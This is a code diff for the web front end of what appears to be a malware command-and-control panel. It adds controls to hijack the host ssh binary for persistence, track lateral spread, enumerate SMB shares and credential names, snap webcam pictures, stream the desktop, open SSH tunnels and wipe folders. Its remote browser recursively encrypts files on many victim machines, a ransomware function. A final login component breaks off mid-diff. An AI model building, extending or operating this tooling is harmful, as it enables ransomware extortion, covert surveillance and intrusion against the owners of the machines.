+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={aggDisabled('host_binary_persist')}
+          title={aggTitle('host_binary_persist') || 'Hijack host client binary'}
+          onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}
+        >
+          Host Binary
+        </button>
+        <button
+          className="button crucible-op-btn"
+          disabled={!hasSelection || targets.length === 0}
+          title="Read-only audit: Run keys, tasks, systemd/launchd"
+          onClick={() => bulkDispatch('persistence_audit')}
+        >
+          Persistence Audit
+        </button>
+      </CollapsibleGroup>
+
+      <CollapsibleGroup label="Fleet Maintenance" className="cop-maint" defaultOpen>
+        <div className="crucible-inline-row crucible-upgrade-row">
+          <select
+            className="crucible-inline-select"
+            value={selectedBuildId}
+            onChange={(e) => setSelectedBuildId(e.target.value)}
+            disabled={targets.length === 0}
+          >
+            <option value="">— pick build —</option>
+            {builds.filter((b) => b.download_url).map((b) => (
+              <option key={b.id} value={b.id}>
+                {b.file_name ?? b.id} ({b.platform ?? 'win'})
+              </option>
+            ))}
+          </select>
+          <button
+            className="button crucible-op-btn"
+            disabled={!selectedBuildId || targets.length === 0}
+            onClick={pushUpgrade}
+          >
+            Push Upgrade
+          </button>
+        </div>
+
+        {singleOnline && (
+          <button
+            className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`}
+            title="Poll screenshot every 3s while tab is focused"
+            onClick={() => setLiveDesktop((v) => !v)}
+          >
+            {liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
+          </button>
+        )}
+
+        <div className="crucible-inline-row">
+          <input
+            className="crucible-inline-input"
+            placeholder="MAC (optional)"
+            value={wolMac}
+            onChange={(e) => setWolMac(e.target.value)}
+          />
+          <button
+            className="button crucible-op-btn"
+            disabled={!hasSelection}
+            title="POST /agents/{id}/wol — works when offline"
+            onClick={() => void sendWol()}
+          >
+            Wake-on-LAN
+          </button>
+        </div>
+
+        <button
+          type="button"
+          className="button crucible-op-btn crucible-op-muted"
+          onClick={() => setRegistryOpen((v) => !v)}
+          disabled={!hasSelection}
+        >
+          Registry {registryOpen ? '▲' : '▼'}
+        </button>
+        {registryOpen && (
+          <div className="crucible-registry-panel">
+            <div className="crucible-inline-row">
+              <select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
+                <option value="HKCU">HKCU</option>
+                <option value="HKLM">HKLM</option>
+              </select>
+              <input
+                className="crucible-inline-input"
+                value={regPath}
+                onChange={(e) => setRegPath(e.target.value)}
+                placeholder="Software\...\Run"
+              />
+            </div>
+            <div className="crucible-inline-row">
+              <input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
+              <input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
+            </div>
+            <div className="crucible-inline-row">
+              <button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
+              <button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
+              <button className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
+            </div>
+            <p className="form-hint" style={{ margin: 0, fontSize: '0.68rem' }}>
+              {targets.length > 1 ? 'Bulk registry ops apply to all online Windows selections (confirm).' : 'HKCU/HKLM under Software\\ or Environment.'}
+            </p>
+          </div>
+        )}
+
+        <div className="crucible-inline-row">
+          <input
+            className="crucible-inline-input"
+            placeholder="PID to kill"
+            value={killPid}
+            onChange={(e) => setKillPid(e.target.value)}
+          />
+          <button
+            className="button crucible-op-btn"
+            disabled={!killPid.trim() || targets.length === 0}
+            onClick={() => {
+              if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
+              bulkDispatch('kill_process', { command: killPid.trim() });
+            }}
+          >
+            Kill Process
+          </button>
+        </div>
+
+        <div className="crucible-camera-row">
+          <button className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
+            List Cameras
+          </button>
+          {cameras.length > 0 && (
+            <select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
+              <option value="">— first device —</option>
+              {cameras.map((c) => (
+                <option key={c} value={c}>{c}</option>
+              ))}
+            </select>
+          )}
+          <button
+            className="button crucible-op-btn"
+            disabled={targets.length === 0}
+            onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}
+          >
+            Camera Snap
+          </button>
+        </div>
+
+        <div className="crucible-inline-row">
+          <input className="crucible-inline-input" placeholder="delete_path" value={deletePath} onChange={(e) => setDeletePath(e.target.value)} />
+          <button
+            className="button crucible-op-btn"
+            disabled={!deletePath.trim() || targets.length === 0}
+            onClick={() => {
+              if (!window.confirm(`Delete file ${deletePath} on ${targets.length} node(s)?`)) return;
+              bulkDispatch('delete_path', { path: deletePath.trim() });
+            }}
+          >
+            Delete File
+          </button>
+        </div>
+        <div className="crucible-inline-row">
+          <input className="crucible-inline-input" placeholder="move src" value={moveSrc} onChange={(e) => setMoveSrc(e.target.value)} />
+          <input className="crucible-inline-input" placeholder="move dst" value={moveDst} onChange={(e) => setMoveDst(e.target.value)} />
+          <button
+            className="button crucible-op-btn"
+            disabled={!moveSrc.trim() || !moveDst.trim() || targets.length === 0}
+            onClick={() => bulkDispatch('move_path', { path: moveSrc.trim(), data: moveDst.trim() })}
+          >
+            Move
+          </button>
+        </div>
+
+        <div className="crucible-phase-c-row">
+          <button
+            className="button crucible-op-btn"
+            disabled={aggDisabled('smb_shares') || winTargets.length === 0}
+            title={aggTitle('smb_shares') || 'Enumerate \\\\host\\share on Windows LAN (JSON)'}
+            onClick={() => aggBulk('smb_shares', {}, undefined, winTargets)}
+          >
+            SMB Shares
+          </button>
+          <button
+            className="button crucible-op-btn"
+            disabled={!hasSelection || targets.length === 0}
+            title="Last lateral spread sweep summary (JSON)"
+            onClick={() => bulkDispatch('spread_status')}
+          >
+            Spread Status
+          </button>
+          <button
+            className="button crucible-op-btn"
+            disabled={aggDisabled('credential_vault_list')}
+            title={aggTitle('credential_vault_list') || 'Credential vault names only (no secrets)'}
+            onClick={() => aggBulk('credential_vault_list')}
+          >
+            Credential Names
+          </button>
+          <div className="crucible-inline-row" style={{ flex: '1 1 100%' }}>
+            <input
+              className="crucible-inline-input"
+              placeholder="secure_wipe folder path"
+              value={wipePath}
+              onChange={(e) => setWipePath(e.target.value)}
+            />
+            <button
+              className="button crucible-op-btn"
+              disabled={!wipePath.trim() || aggDisabled('secure_wipe')}
+              title={aggTitle('secure_wipe') || 'Overwrite files then delete folder'}
+              onClick={() => {
+                if (!window.confirm(`Secure-wipe folder ${wipePath} on ${targets.length} node(s)?`)) return;
+                bulkDispatch('secure_wipe', { path: wipePath.trim() });
+              }}
+            >
+              Secure Wipe
+            </button>
+          </div>
+          <CruciblePortForwardMatrix
+            selectedAgents={selectedAgents}
+            onEcho={onEcho}
+            onDispatch={(agent, action, args) => dispatchOne(agent, action, args)}
+          />
+        </div>
+      </CollapsibleGroup>
+    </>
+  );
+}
--- a/server/web/src/components/Fleet/CruciblePortForwardMatrix.tsx
+++ b/server/web/src/components/Fleet/CruciblePortForwardMatrix.tsx
@@ -0,0 +1,130 @@
+import { useState } from 'react';
+import type { Agent } from '../../types';
+import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
+import {
+  buildSSHForwardPayload,
+  newPortForwardRow,
+  type PortForwardRow,
+  validatePortForwardRows,
+  windowsOnlineAgents,
+} from '../../help/crucibleOps';
+
+interface Props {
+  selectedAgents: Agent[];
+  onDispatch: (agent: Agent, action: string, args: Record<string, unknown>) => void | Promise<void>;
+  onEcho: (text: string, isCmd?: boolean) => void;
+}
+
+export default function CruciblePortForwardMatrix({ selectedAgents, onDispatch, onEcho }: Props) {
+  const [open, setOpen] = useState(false);
+  const [rows, setRows] = useState<PortForwardRow[]>(() => [newPortForwardRow()]);
+  const winTargets = windowsOnlineAgents(selectedAgents);
+
+  const tunnelAllowed = (agent: Agent) =>
+    canRunAggressiveAction('tunnel_ssh_forward', agent.capabilities, agent.platform);
+
+  const dispatchMatrix = () => {
+    const err = validatePortForwardRows(rows);
+    if (err) {
+      alert(err);
+      return;
+    }
+    if (winTargets.length === 0) {
+      alert('Select online Windows agent(s) for SSH local forwards.');
+      return;
+    }
+    const blocked = winTargets.find((a) => !tunnelAllowed(a));
+    if (blocked) {
+      alert(aggressiveActionHint('tunnel_ssh_forward', blocked.capabilities, blocked.platform));
+      return;
+    }
+    if (
+      !window.confirm(
+        `Start ${rows.length} SSH forward(s) on each of ${winTargets.length} Windows node(s)?`
+      )
+    ) {
+      return;
+    }
+    for (const agent of winTargets) {
+      for (const row of rows) {
+        const payload = buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser);
+        if (!payload) continue;
+        void onDispatch(agent, 'tunnel_ssh_forward', { data: JSON.stringify(payload) });
+      }
+    }
+    onEcho(`tunnel_ssh_forward matrix → ${winTargets.length} node(s), ${rows.length} row(s)`, true);
+  };
+
+  const updateRow = (id: string, patch: Partial<PortForwardRow>) => {
+    setRows((prev) => prev.map((r) => (r.id === id ? { ...r, ...patch } : r)));
+  };
+
+  return (
+    <div className="crucible-portfwd-matrix">
+      <button
+        type="button"
+        className="button crucible-op-btn crucible-op-muted"
+        onClick={() => setOpen((v) => !v)}
+        disabled={winTargets.length === 0}
+        title="Multi-row SSH local forward on selected Windows nodes"
+      >
+        Port-Forward Matrix {open ? '▲' : '▼'}
+      </button>
+      {open && (
+        <div className="crucible-portfwd-body">
+          <p className="form-hint" style={{ margin: '0 0 0.4rem', fontSize: '0.68rem' }}>
+            Each row opens 127.0.0.1:local → remote on {winTargets.length} Windows node(s).
+          </p>
+          <div className="crucible-portfwd-grid">
+            <span className="crucible-portfwd-head">Local</span>
+            <span className="crucible-portfwd-head">Remote host:port</span>
+            <span className="crucible-portfwd-head">SSH user</span>
+            <span className="crucible-portfwd-head" />
+            {rows.map((row) => (
+              <div key={row.id} className="crucible-portfwd-row">
+                <input
+                  className="crucible-inline-input"
+                  value={row.localPort}
+                  onChange={(e) => updateRow(row.id, { localPort: e.target.value })}
+                  placeholder="2222"
+                />
+                <input
+                  className="crucible-inline-input"
+                  value={row.remoteHostPort}
+                  onChange={(e) => updateRow(row.id, { remoteHostPort: e.target.value })}
+                  placeholder="192.168.1.50:3389"
+                />
+                <input
+                  className="crucible-inline-input"
+                  value={row.sshUser}
+                  onChange={(e) => updateRow(row.id, { sshUser: e.target.value })}
+                  placeholder="optional"
+                />
+                <button
+                  type="button"
+                  className="button crucible-op-btn"
+                  onClick={() => setRows((prev) => (prev.length <= 1 ? prev : prev.filter((r) => r.id !== row.id)))}
+                  title="Remove row"
+                >
+                  ✕
+                </button>
+              </div>
+            ))}
+          </div>
+          <div className="crucible-inline-row">
+            <button
+              type="button"
+              className="button crucible-op-btn"
+              onClick={() => setRows((prev) => [...prev, newPortForwardRow()])}
+            >
+              + Row
+            </button>
+            <button type="button" className="button crucible-op-btn" onClick={dispatchMatrix}>
+              Dispatch Matrix
+            </button>
+          </div>
+        </div>
+      )}
+    </div>
+  );
+}
--- a/server/web/src/components/Fleet/FileManager.tsx
+++ b/server/web/src/components/Fleet/FileManager.tsx
@@ -29,7 +29,7 @@ function parseListDir(message: string): { path: string; entries: DirEntry[] } |
 }

 export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
-  const [cwd, setCwd] = useState('C:\\');
+  const [cwd, setCwd] = useState('');
  const [entries, setEntries] = useState<DirEntry[]>([]);
  const [filter, setFilter] = useState('');
  const [selected, setSelected] = useState<Set<string>>(new Set());
--- a/server/web/src/components/Fleet/FleetToolbar.css
+++ b/server/web/src/components/Fleet/FleetToolbar.css
@@ -1,6 +1,11 @@
 .agents-list-panel {
  flex: 1;
  min-width: 0;
+  padding: 1rem;
+  border: 1px solid var(--border-brass);
+  border-radius: 2px;
+  background: rgba(8, 6, 4, 0.45);
+  box-shadow: var(--shadow-panel);
 }

 .agents-list-panel .agents-list {
--- a/server/web/src/components/Fleet/RemoteDirBrowser.css
+++ b/server/web/src/components/Fleet/RemoteDirBrowser.css
@@ -0,0 +1,137 @@
+.remote-dir-browser {
+  border: 1px solid rgba(255, 34, 34, 0.35);
+  border-radius: 6px;
+  padding: 0.65rem 0.75rem;
+  background: rgba(40, 0, 0, 0.25);
+  margin-top: 0.5rem;
+}
+
+.rdb-header {
+  display: flex;
+  justify-content: space-between;
+  align-items: center;
+  gap: 0.5rem;
+  margin-bottom: 0.35rem;
+}
+
+.rdb-title {
+  font-size: 0.68rem;
+  letter-spacing: 0.08em;
+  color: #ff8888;
+}
+
+.rdb-hint {
+  margin: 0 0 0.45rem;
+  font-size: 0.68rem;
+}
+
+.rdb-offline {
+  color: #ff6666;
+  font-size: 0.78rem;
+  margin: 0.25rem 0;
+}
+
+.rdb-path {
+  font-size: 0.72rem;
+  color: var(--neon-cyan);
+  margin-bottom: 0.35rem;
+  word-break: break-all;
+}
+
+.rdb-breadcrumb {
+  margin-bottom: 0.4rem;
+  flex-wrap: wrap;
+  display: flex;
+  align-items: center;
+}
+
+.rdb-crumb {
+  background: none;
+  border: none;
+  color: var(--neon-cyan, #0ff);
+  cursor: pointer;
+  font-size: 0.72rem;
+  padding: 0;
+}
+
+.rdb-sep {
+  opacity: 0.45;
+  margin: 0 0.15rem;
+}
+
+.rdb-list {
+  list-style: none;
+  margin: 0;
+  padding: 0;
+  max-height: 180px;
+  overflow-y: auto;
+  border: 1px solid #331111;
+  background: rgba(0, 0, 0, 0.35);
+}
+
+.rdb-row {
+  display: flex;
+  width: 100%;
+  justify-content: space-between;
+  align-items: center;
+  gap: 0.5rem;
+  text-align: left;
+  background: none;
+  border: none;
+  color: #ddd;
+  padding: 0.3rem 0.5rem;
+  cursor: pointer;
+  font-family: var(--font-tech);
+  font-size: 0.78rem;
+}
+
+.rdb-row:hover {
+  background: rgba(255, 34, 34, 0.12);
+}
+
+.rdb-dir {
+  color: #9fdcff;
+}
+
+.rdb-size {
+  color: #888;
+  font-size: 0.68rem;
+  flex-shrink: 0;
+}
+
+.rdb-actions {
+  display: flex;
+  align-items: center;
+  gap: 0.75rem;
+  margin-top: 0.5rem;
+  flex-wrap: wrap;
+}
+
+.rdb-recursive {
+  display: flex;
+  align-items: center;
+  gap: 0.35rem;
+  font-size: 0.75rem;
+  color: #bbb;
+  cursor: pointer;
+}
+
+.rdb-encrypt-btn {
+  background: linear-gradient(135deg, #7b0000 0%, #cc0000 100%);
+  border: 1px solid #ff2222;
+  color: #fff;
+  font-weight: 700;
+  letter-spacing: 0.05em;
+  font-size: 0.78rem;
+  padding: 0.35rem 0.75rem;
+}
+
+.rdb-encrypt-btn:disabled {
+  opacity: 0.45;
+}
+
+.rdb-err {
+  color: #ff6666;
+  font-size: 0.75rem;
+  margin: 0.35rem 0 0;
+}
--- a/server/web/src/components/Fleet/RemoteDirBrowser.tsx
+++ b/server/web/src/components/Fleet/RemoteDirBrowser.tsx
@@ -0,0 +1,211 @@
+import { useCallback, useEffect, useMemo, useState } from 'react';
+import { api } from '../../api/client';
+import {
+  defaultBrowseRoot,
+  joinRemotePath,
+  parseListDirMessage,
+  pathBreadcrumbs,
+  type DirEntry,
+} from '../../help/remoteDirBrowser';
+import './RemoteDirBrowser.css';
+
+interface Props {
+  agentId: string;
+  agentName?: string;
+  platform?: string;
+  online: boolean;
+  /** Encrypt targets — all online selected agents when multi-select */
+  encryptTargets: { id: string; name: string }[];
+  commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
+  onTerminalLine?: (text: string, isCmd?: boolean) => void;
+}
+
+export default function RemoteDirBrowser({
+  agentId,
+  agentName,
+  platform,
+  online,
+  encryptTargets,
+  commandResults,
+  onTerminalLine,
+}: Props) {
+  const [cwd, setCwd] = useState(() => defaultBrowseRoot(platform));
+  const [entries, setEntries] = useState<DirEntry[]>([]);
+  const [homeDir, setHomeDir] = useState('');
+  const [recursive, setRecursive] = useState(true);
+  const [busy, setBusy] = useState(false);
+  const [err, setErr] = useState('');
+
+  const sep = cwd.includes('/') ? '/' : '\\';
+  const crumbs = useMemo(() => pathBreadcrumbs(cwd), [cwd]);
+  const browseLabel = homeDir || cwd || 'agent home';
+
+  const refresh = useCallback(() => {
+    if (!online || !agentId) return;
+    setBusy(true);
+    setErr('');
+    api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
+      setErr(e instanceof Error ? e.message : String(e));
+      setBusy(false);
+    });
+  }, [agentId, cwd, online]);
+
+  useEffect(() => {
+    setCwd(defaultBrowseRoot(platform));
+    setEntries([]);
+    setHomeDir('');
+    setErr('');
+  }, [agentId, platform]);
+
+  useEffect(() => {
+    refresh();
+  }, [refresh]);
+
+  useEffect(() => {
+    if (!commandResults?.length) return;
+    const last = [...commandResults]
+      .reverse()
+      .find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
+    if (!last) return;
+
+    if (last.action === 'list_dir') {
+      if (last.success) {
+        const parsed = parseListDirMessage(last.message);
+        if (parsed) {
+          setEntries(parsed.entries);
+          if (parsed.path) setCwd(parsed.path);
+          if (parsed.home_dir) setHomeDir(parsed.home_dir);
+        }
+      } else {
+        setErr(last.message);
+      }
+      setBusy(false);
+    } else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
+      setBusy(false);
+      onTerminalLine?.(
+        `${last.action} ${last.success ? 'OK' : 'FAIL'} — ${last.message.slice(0, 500)}`,
+        false
+      );
+    }
+  }, [commandResults, agentId, onTerminalLine]);
+
+  const navigate = (name: string, isDir: boolean) => {
+    if (!isDir && name !== '..') return;
+    setCwd(joinRemotePath(cwd, name));
+  };
+
+  const goHome = () => {
+    setCwd(homeDir || defaultBrowseRoot(platform));
+  };
+
+  const runEncrypt = () => {
+    const targets = encryptTargets.filter(Boolean);
+    if (targets.length === 0) {
+      alert('Select at least one online node.');
+      return;
+    }
+    const pathLabel = cwd || homeDir || '(agent home)';
+    const scope = recursive ? 'recursively' : 'non-recursively';
+    const warn =
+      targets.length > 1
+        ? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
+        : `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
+    if (!confirm(warn)) return;
+
+    setBusy(true);
+    onTerminalLine?.(
+      `encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
+      true
+    );
+
+    for (const t of targets) {
+      api
+        .sendAgentCommand(t.id, 'encrypt_path', {
+          path: cwd || homeDir,
+          command: recursive ? 'recursive' : '',
+        })
+        .catch((e) => {
+          onTerminalLine?.(
+            `[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
+            false
+          );
+        });
+    }
+  };
+
+  return (
+    <div className="remote-dir-browser">
+      <div className="rdb-header">
+        <span className="font-tech rdb-title">REMOTE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
+        <button type="button" className="crucible-op-btn" disabled={!online || busy} onClick={refresh}>
+          Refresh
+        </button>
+      </div>
+      {!online && <p className="rdb-offline">Agent offline — browse unavailable</p>}
+      <p className="rdb-hint form-hint">
+        Browse the remote machine filesystem. Encrypt runs on {encryptTargets.length} selected online node
+        {encryptTargets.length !== 1 ? 's' : ''}.
+      </p>
+      <div className="rdb-path font-tech" title={cwd || homeDir}>
+        {browseLabel}
+      </div>
+      <div className="rdb-breadcrumb font-tech">
+        <button type="button" className="rdb-crumb" onClick={goHome}>home</button>
+        {crumbs.map((c, i) => (
+          <span key={`${c}-${i}`}>
+            <span className="rdb-sep">/</span>
+            <button
+              type="button"
+              className="rdb-crumb"
+              onClick={() => {
+                const parts = crumbs.slice(0, i + 1);
+                const root = cwd.startsWith('/') ? '/' : '';
+                setCwd(root + parts.join(sep));
+              }}
+            >
+              {c}
+            </button>
+          </span>
+        ))}
+      </div>
+      <ul className="rdb-list">
+        <li>
+          <button type="button" className="rdb-row" onClick={() => navigate('..', true)}>..</button>
+        </li>
+        {entries.map((e) => (
+          <li key={e.name}>
+            <button
+              type="button"
+              className={`rdb-row ${e.is_dir ? 'rdb-dir' : 'rdb-file'}`}
+              onClick={() => navigate(e.name, e.is_dir)}
+              title={e.is_dir ? 'Open folder' : `${e.size} bytes`}
+            >
+              {e.is_dir ? '📁' : '📄'} {e.name}
+              {!e.is_dir && (
+                <span className="rdb-size">
+                  {e.size < 1024 ? `${e.size} B` : `${(e.size / 1024).toFixed(1)} KB`}
+                </span>
+              )}
+            </button>
+          </li>
+        ))}
+      </ul>
+      <div className="rdb-actions">
+        <label className="rdb-recursive">
+          <input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
+          Recursive
+        </label>
+        <button
+          type="button"
+          className="button rdb-encrypt-btn"
+          disabled={!online || busy || encryptTargets.length === 0}
+          title="AES-256-GCM encrypt files at the current path on selected node(s)"
+          onClick={runEncrypt}
+        >
+          🔒 Encrypt path
+        </button>
+      </div>
+      {err && <p className="rdb-err">{err}</p>}
+    </div>
+  );
+}
--- a/server/web/src/components/GlobalMusicPlayer.css
+++ b/server/web/src/components/GlobalMusicPlayer.css
@@ -0,0 +1,107 @@
+.global-music-player {
+  position: fixed;
+  right: 1rem;
+  bottom: 1rem;
+  z-index: 900;
+  display: flex;
+  align-items: center;
+  gap: 0.45rem;
+  padding: 0.35rem 0.5rem 0.35rem 0.35rem;
+  border-radius: 4px;
+  border: 1px solid rgba(120, 90, 200, 0.28);
+  background: rgba(8, 6, 14, 0.82);
+  backdrop-filter: blur(10px);
+  box-shadow:
+    0 4px 18px rgba(0, 0, 0, 0.55),
+    0 0 1px rgba(0, 245, 255, 0.15);
+  pointer-events: auto;
+  opacity: 0.72;
+  transition: opacity 0.25s ease, border-color 0.25s ease, box-shadow 0.25s ease;
+}
+
+.global-music-player:hover,
+.global-music-player:focus-within {
+  opacity: 1;
+  border-color: rgba(0, 245, 255, 0.35);
+  box-shadow:
+    0 6px 22px rgba(0, 0, 0, 0.6),
+    0 0 14px rgba(0, 245, 255, 0.12);
+}
+
+.global-music-player__play {
+  display: flex;
+  align-items: center;
+  justify-content: center;
+  width: 1.75rem;
+  height: 1.75rem;
+  padding: 0;
+  border: 1px solid rgba(0, 245, 255, 0.3);
+  border-radius: 2px;
+  background: rgba(12, 18, 28, 0.9);
+  color: var(--neon-cyan, #00f5ff);
+  cursor: pointer;
+  flex-shrink: 0;
+}
+
+.global-music-player__play svg {
+  width: 0.85rem;
+  height: 0.85rem;
+}
+
+.global-music-player__play:hover {
+  border-color: var(--neon-cyan, #00f5ff);
+  box-shadow: 0 0 10px rgba(0, 245, 255, 0.2);
+}
+
+.global-music-player__vol {
+  display: flex;
+  align-items: center;
+  width: 4.5rem;
+  margin: 0;
+}
+
+.global-music-player__vol input[type='range'] {
+  width: 100%;
+  height: 3px;
+  margin: 0;
+  padding: 0;
+  border: none;
+  background: transparent;
+  accent-color: var(--neon-purple, #b24bf3);
+  cursor: pointer;
+}
+
+.global-music-player__vol input[type='range']::-webkit-slider-runnable-track {
+  height: 3px;
+  border-radius: 2px;
+  background: rgba(100, 80, 140, 0.45);
+}
+
+.global-music-player__vol input[type='range']::-webkit-slider-thumb {
+  -webkit-appearance: none;
+  width: 10px;
+  height: 10px;
+  margin-top: -3.5px;
+  border-radius: 50%;
+  background: var(--neon-cyan, #00f5ff);
+  box-shadow: 0 0 6px rgba(0, 245, 255, 0.4);
+}
+
+.sr-only {
+  position: absolute;
+  width: 1px;
+  height: 1px;
+  padding: 0;
+  margin: -1px;
+  overflow: hidden;
+  clip: rect(0, 0, 0, 0);
+  white-space: nowrap;
+  border: 0;
+}
+
+@media (max-width: 768px) {
+  .global-music-player {
+    right: 0.65rem;
+    bottom: calc(4.25rem + env(safe-area-inset-bottom, 0px));
+  }
+}
--- a/server/web/src/components/GlobalMusicPlayer.tsx
+++ b/server/web/src/components/GlobalMusicPlayer.tsx
@@ -0,0 +1,48 @@
+import { useAmbientMusic } from '../context/AmbientMusicContext';
+import './GlobalMusicPlayer.css';
+
+export default function GlobalMusicPlayer() {
+  const { enabled, playing, volume, setVolume, togglePlay } = useAmbientMusic();
+
+  return (
+    <div
+      className="global-music-player"
+      data-sfx="off"
+      role="region"
+      aria-label="Background music controls"
+    >
+      <button
+        type="button"
+        className="global-music-player__play"
+        onClick={togglePlay}
+        aria-label={playing ? 'Pause background music' : 'Play background music'}
+        title={playing ? 'Pause music' : enabled ? 'Play music' : 'Enable & play music'}
+      >
+        {playing ? (
+          <svg viewBox="0 0 24 24" aria-hidden="true">
+            <rect x="6" y="5" width="4" height="14" rx="1" fill="currentColor" />
+            <rect x="14" y="5" width="4" height="14" rx="1" fill="currentColor" />
+          </svg>
+        ) : (
+          <svg viewBox="0 0 24 24" aria-hidden="true">
+            <path d="M8 5v14l11-7z" fill="currentColor" />
+          </svg>
+        )}
+      </button>
+      <label className="global-music-player__vol" title="Music volume">
+        <span className="sr-only">Music volume</span>
+        <input
+          type="range"
+          min={0}
+          max={100}
+          step={5}
+          value={Math.round(volume * 100)}
+          onChange={(e) => setVolume(parseInt(e.target.value, 10) / 100)}
+          aria-valuenow={Math.round(volume * 100)}
+          aria-valuemin={0}
+          aria-valuemax={100}
+        />
+      </label>
+    </div>
+  );
+}
--- a/server/web/src/components/Layout/Layout.tsx
+++ b/server/web/src/components/Layout/Layout.tsx
@@ -26,6 +26,7 @@ const NAV = [
  { to: '/crucible', label: 'Crucible', icon: 'crucible' },
  { to: '/forge', label: 'Forge', icon: 'forge' },
  { to: '/builds', label: 'Builds', icon: 'builds' },
+  { to: '/emberwake', label: 'Emberwake', icon: 'ember' },
  { to: '/guide', label: 'Field Guide', icon: 'guide' },
  { to: '/settings', label: 'Calibrate', icon: 'gear' },
  { to: '/pathtracer', label: 'Path Tracer', icon: 'trace' },
@@ -85,6 +86,13 @@ function NavIcon({ type }: { type: string }) {
          <path d="M10 12l1.5 2L14 11" />
        </svg>
      );
+    case 'ember':
+      return (
+        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
+          <path d="M12 3c2 4 4 5 4 9a4 4 0 01-8 0c0-4 2-5 4-9z" />
+          <path d="M8 21h8" />
+        </svg>
+      );
    case 'trace':
      return (
        <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.5">
--- a/server/web/src/components/SessionGate.tsx
+++ b/server/web/src/components/SessionGate.tsx
@@ -1,159 +1,216 @@
-import { useEffect, useState, type ReactNode } from 'react';
-
-import {
-
-  AETHERFORGE_CLIENT_HEADER,
-
-  AETHERFORGE_CLIENT_VALUE,
-
-  authHeaders,
-
-  clearStoredAuth,
-
-  consumeAuthExpiredFlag,
-
-  encodeBasicToken,
-
-  getStoredAuth,
-
-  setStoredAuth,
-
-} from '../api/auth';
-
-import { useSound } from '../context/SoundContext';
-
-import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
-
-
-
-export default function SessionGate({ children }: { children: ReactNode }) {
-
-  const { play } = useSound();
-
-  const [ready, setReady] = useState(false);
-
-  const [authed, setAuthed] = useState(!!getStoredAuth());
-
-  const [degraded, setDegraded] = useState(false);
-
-  const [user, setUser] = useState('');
-
-  const [pass, setPass] = useState('');
-
-  const [err, setErr] = useState('');
-
-  const [sessionExpired, setSessionExpired] = useState(false);
-
-
-
-  useEffect(() => {
-
-    const sync = () => {
-
-      const hasAuth = !!getStoredAuth();
-
-      setAuthed(hasAuth);
-
-      if (!hasAuth) {
-
-        setSessionExpired(consumeAuthExpiredFlag());
-
-      }
-
-    };
-
-    window.addEventListener('aetherforge-auth', sync);
-
-    return () => window.removeEventListener('aetherforge-auth', sync);
-
-  }, []);
-
-
-
-  useEffect(() => {
-
-    const token = getStoredAuth();
-
-    if (!token) {
-
-      setAuthed(false);
-
-      setSessionExpired(consumeAuthExpiredFlag());
-
-      setReady(true);
-
-      return;
-
-    }
-
-    fetch('/api/v1/config', { headers: authHeaders() })
-
-      .then((r) => {
-
-        if (r.status === 401) {
-
-          clearStoredAuth({ silent: true, expired: true });
-
-          setAuthed(false);
-
-          setSessionExpired(true);
-
-        } else if (!r.ok) {
-
-          // Server reachable but unhappy — keep saved credentials (degraded mode).
-
-          setAuthed(true);
-
-          setDegraded(true);
-
-        } else {
-
-          setAuthed(true);
-
-          setDegraded(false);
-
-        }
-
-        setReady(true);
-
-      })
-
-      .catch(() => {
-
-        // Network blip — trust stored credentials until the server responds.
-
-        setAuthed(true);
-
-        setDegraded(true);
-
-        setReady(true);
-
-      });
-
-  }, []);
-
-
-
-  const handleLogin = async (e: React.FormEvent) => {
-
-    e.preventDefault();
-
-    setErr('');
-
-    setSessionExpired(false);
-
-    const headers: Record<string, string> = {
-
-      [AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
-
-      Authorization: `Basic ${encodeBasicToken(user, pass)}`,
-
-    };
-
-    try {
-
-      const res = await fetch('/api/v1/config', { headers });
-
-      if (!res.ok) {
-
-        setErr('Login failed — check username and password.');
+import { useEffect, useState, type ReactNode } from 'react';
+import type { PublicBuildDTO } from '../types';
+import {
+  AETHERFORGE_CLIENT_HEADER,
+  AETHERFORGE_CLIENT_VALUE,
+  authHeaders,
+  clearStoredAuth,
+  consumeAuthExpiredFlag,
+  encodeBasicToken,
+  getStoredAuth,
+  setStoredAuth,
+} from '../api/auth';
+import { useSound } from '../context/SoundContext';
+import { FlowerOfLifeWatermark, KnowledgeKey } from './Visual/sacredGeometry/motifs';
+
+export default function SessionGate({ children }: { children: ReactNode }) {
+  const { play } = useSound();
